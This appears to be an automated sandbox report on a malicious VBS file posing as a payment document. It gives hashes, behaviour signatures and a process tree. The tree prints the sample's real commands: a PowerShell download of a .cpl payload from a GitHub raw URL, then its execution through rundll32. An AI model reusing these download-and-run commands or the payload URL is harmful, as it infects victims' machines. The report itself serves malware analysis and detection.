Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    30/03/2025, 18:42

General

  • Target

    Payment_Activity_0037_2025-3-30.vbs

  • Size

    13KB

  • MD5

    1666b10f8f85c81a689e60018dd65abf

  • SHA1

    40320e7700630bc0e35a11cc803cfa3ad46aa79b

  • SHA256

    eb860d8529dd9d5a2277b1c340d8aa2db7eecdb172d57133038b8f90ce39bb31

  • SHA512

    0cae1de09fc3d46a02541a6f34c931e4748f06fbf0add8fa89caccf5a9cbd68d15871453e70320b8d4fc23b75191b984ff47f87ba8dcdada5765628356fb20bc

  • SSDEEP

    192:NB0v8qa258i+h6xp2YXBoN8x6kgqDMOhWm3Gmim3jzVcGZlIyB1AQaAMKz3N2v:3qyi0mdxoY6HyLjpLZlIyUQanKzN2v

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Activity_0037_2025-3-30.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2896
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://raw.githubusercontent.com/SC10001/Di/main/DNSBackup.cpl -Outfile C:\ProgramData\DNSBackup\DNSBackup.cpl
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest -Uri https://raw.githubusercontent.com/SC10001/Di/main/DNSBackup.cpl -Outfile C:\ProgramData\DNSBackup\DNSBackup.cpl
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2724
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\system32\RunDll32.exe
          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
          4⤵
            PID:1896
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1128
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\ProgramData\DNSBackup\DNSBackup.cpl
          3⤵
            PID:1920

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        bd99a96e352d14f729986a325dd34991

        SHA1

        67ddb3956cbbd6e6f8b4f3994299bbf4714d277f

        SHA256

        8d1a52f9efc07d63b97af714a88b5c840e91af4f98d6779f7be3e0379ecdd3fb

        SHA512

        bba0d22bd63554c55f8c8cd68086774befe8bcdcde9258be0ec4db40dca326e3877a46377cac4accf639cd8d84d8606b43189f1f25a0906177d77a1caf2deff7

      • memory/2724-17-0x000000001B660000-0x000000001B942000-memory.dmp

        Filesize

        2.9MB

      • memory/2724-18-0x00000000020C0000-0x00000000020C8000-memory.dmp

        Filesize

        32KB

      • memory/2896-4-0x000007FEF647E000-0x000007FEF647F000-memory.dmp

        Filesize

        4KB

      • memory/2896-7-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2896-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

        Filesize

        32KB

      • memory/2896-9-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2896-8-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2896-5-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

        Filesize

        2.9MB

      • memory/2896-10-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

        Filesize

        9.6MB

      • memory/2896-11-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

        Filesize

        9.6MB